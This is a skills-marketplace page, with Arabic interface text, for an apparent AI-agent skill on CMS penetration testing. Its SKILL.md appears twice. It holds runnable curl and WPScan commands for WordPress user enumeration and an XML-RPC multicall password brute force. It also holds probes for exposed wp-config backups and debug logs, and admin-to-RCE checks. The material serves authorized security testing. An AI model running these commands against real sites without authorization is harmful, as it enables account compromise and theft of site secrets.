performing-cms-specific-security-testing

Testing WordPress, Drupal, Joomla, and other CMS platforms for known vulnerabilities, plugin/theme exploits, misconfigured permissions, and CMS-specific attack vectors during authorized penetration tests.

الانتقال إلى التثبيت

المستودع: xalgord/xalgorix
آخر نشاط في المصدر: ٦ يونيو ٢٠٢٦ في ١٦:٤١
لغة SKILL.md المكتشفة: الإنجليزية
النجوم: ٨١٣
التفرعات: ١٤٦

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.

يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.

npx skills add https://github.com/xalgord/xalgorix --skill performing-cms-specific-security-testing

يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.

تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

SKILL.md

تعليمات المصدر · معاينة للقراءة فقط

العودة إلى البحث العودة إلى التثبيت

exploiting-http-request-smuggling

Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.

2026-07-20

exploiting-oauth-misconfiguration

Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.

2026-07-20

exploiting-subdomain-takeover-vulnerabilities

Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.

2026-06-19

عرض الكل من هذا المستودع

Performing CMS-Specific Security Testing

When to Use

When the target runs WordPress, Drupal, Joomla, Magento, Shopify, or other CMS platforms

During authorized penetration tests where CMS fingerprinting reveals a known platform

When testing plugin/theme ecosystems for known CVEs and zero-days

For assessing CMS admin panel security, default credentials, and misconfigurations

When evaluating multi-site or headless CMS deployments

How to CONFIRM a Hit (avoid false negatives)

Positive signal: a confirmed vulnerable plugin/theme/core version with a working PoC, or a genuinely exposed/abusable endpoint that returns sensitive data or executes — not a bare version banner.

Version fingerprinting is a lead, not a finding. A reported "vulnerable version" must be validated against the actual code path (the fix may be backported, or the vulnerable component disabled).

Do NOT conclude "vulnerable" (or "safe") until you have:

Cross-checked the detected version/plugin against the CVE and reproduced the issue (e.g. wpscan flag confirmed by an actual request that triggers the behavior).
For Drupalgeddon / unauth RCE: confirmed the command output (e.g. id) actually appears in the response, not just a 200.
For XML-RPC: confirmed system.multicall is enabled AND a known-bad credential returns the success struct (isAdmin/blog list), proving the brute-force channel works.
For exposed files (wp-config backups, CHANGELOG.txt, .sql, debug logs): confirmed the response body contains the sensitive content, not a soft-404 returning 200.
For admin→RCE: confirmed you can actually write/execute (theme/plugin editor reachable, upload accepted) rather than assuming from admin access.

Prerequisites

Authorization: Written penetration testing agreement covering CMS testing

WPScan: WordPress vulnerability scanner (gem install wpscan or Docker)

droopescan: Drupal/Joomla/SilverStripe scanner (pip install droopescan)

CMSmap: Multi-CMS scanner (git clone https://github.com/Dionach/CMSmap.git)

Performing CMS-Specific Security Testing

When to Use

When the target runs WordPress, Drupal, Joomla, Magento, Shopify, or other CMS platforms

During authorized penetration tests where CMS fingerprinting reveals a known platform

When testing plugin/theme ecosystems for known CVEs and zero-days

For assessing CMS admin panel security, default credentials, and misconfigurations

When evaluating multi-site or headless CMS deployments

How to CONFIRM a Hit (avoid false negatives)

Version fingerprinting is a lead, not a finding. A reported "vulnerable version" must be validated against the actual code path (the fix may be backported, or the vulnerable component disabled).

Do NOT conclude "vulnerable" (or "safe") until you have:

Cross-checked the detected version/plugin against the CVE and reproduced the issue (e.g. wpscan flag confirmed by an actual request that triggers the behavior).
For Drupalgeddon / unauth RCE: confirmed the command output (e.g. id) actually appears in the response, not just a 200.
For XML-RPC: confirmed system.multicall is enabled AND a known-bad credential returns the success struct (isAdmin/blog list), proving the brute-force channel works.
For exposed files (wp-config backups, CHANGELOG.txt, .sql, debug logs): confirmed the response body contains the sensitive content, not a soft-404 returning 200.
For admin→RCE: confirmed you can actually write/execute (theme/plugin editor reachable, upload accepted) rather than assuming from admin access.

Prerequisites

Authorization: Written penetration testing agreement covering CMS testing

WPScan: WordPress vulnerability scanner (gem install wpscan or Docker)

droopescan: Drupal/Joomla/SilverStripe scanner (pip install droopescan)

CMSmap: Multi-CMS scanner (git clone https://github.com/Dionach/CMSmap.git)

# === WPSCAN FULL AUDIT === # Enumerate everything: users, plugins, themes, timthumbs wpscan --url https://target.example.com \ --enumerate u,ap,at,tt,cb,dbe \ --api-token $WPSCAN_TOKEN \ --random-user-agent \ --force # Aggressive plugin detection (checks all known plugins) wpscan --url https://target.example.com \ --enumerate ap \ --plugins-detection aggressive \ --api-token $WPSCAN_TOKEN # Enumerate users via REST API curl -s https://target.example.com/wp-json/wp/v2/users | jq '.[].slug' # Enumerate users via author archives for i in $(seq 1 20); do user=$(curl -s -o /dev/null -w "%{redirect_url}" \ "https://target.example.com/?author=$i" | grep -oP '/author/\K[^/]+') [ -n "$user" ] && echo "User $i: $user" done # === WORDPRESS-SPECIFIC ATTACK VECTORS === # XML-RPC brute force (bypasses login lockout plugins) curl -s -X POST \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \ "https://target.example.com/xmlrpc.php" # XML-RPC multicall brute force (test many passwords in one request) curl -s -X POST \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?> <methodCall> <methodName>system.multicall</methodName> <params><param><value><array><data> <value><struct> <member><name>methodName</name><value>wp.getUsersBlogs</value></member> <member><name>params</name><value><array><data> <value>admin</value><value>password123</value> </data></array></value></member> </struct></value> <value><struct> <member><name>methodName</name><value>wp.getUsersBlogs</value></member> <member><name>params</name><value><array><data> <value>admin</value><value>admin123</value> </data></array></value></member> </struct></value> </data></array></value></param></params> </methodCall>' \ "https://target.example.com/xmlrpc.php" # Check for debug.log exposure curl -s "https://target.example.com/wp-content/debug.log" | head -20 # Check for wp-config backup files for f in wp-config.php.bak wp-config.php.old wp-config.php.save \ wp-config.php~ wp-config.txt .wp-config.php.swp; do echo -n "$f -> " curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/$f" echo done # REST API information disclosure curl -s https://target.example.com/wp-json/wp/v2/pages?per_page=100 | jq '.[].title.rendered' curl -s https://target.example.com/wp-json/wp/v2/posts?status=draft 2>/dev/null | head -c 200 # Check plugin/theme editor (RCE if admin access obtained) curl -s "https://target.example.com/wp-admin/theme-editor.php" -o /dev/null -w "%{http_code}" curl -s "https://target.example.com/wp-admin/plugin-editor.php" -o /dev/null -w "%{http_code}" # Directory listing in uploads curl -s "https://target.example.com/wp-content/uploads/" | grep -i "index of"

Concept	Description
CMS Fingerprinting	Identifying the specific CMS platform, version, and installed components
Plugin/Theme Exploitation	Targeting known CVEs in third-party CMS extensions
XML-RPC Abuse	Using WordPress XML-RPC for brute force and SSRF attacks
Drupalgeddon	Critical RCE vulnerabilities in Drupal core (CVE-2018-7600, CVE-2018-7602)
REST/JSON API Exposure	Information disclosure through unauthenticated CMS API access
Admin-to-RCE	Escalating CMS admin access to server-level code execution
WP-Cron Abuse	Triggering scheduled tasks or using cron for denial of service

Tool	Purpose
WPScan	WordPress vulnerability scanner with plugin/theme/user enumeration
droopescan	Drupal, Joomla, and SilverStripe scanner
JoomScan	OWASP Joomla vulnerability scanner
CMSmap	Multi-CMS vulnerability scanner (WordPress, Drupal, Joomla)
nuclei	Template-based scanner with extensive CMS vulnerability templates
magescan	Magento-specific security scanner
whatweb	CMS and technology fingerprinting

performing-cms-specific-security-testing

خيارات التثبيت

مراجعة ملفات المصدر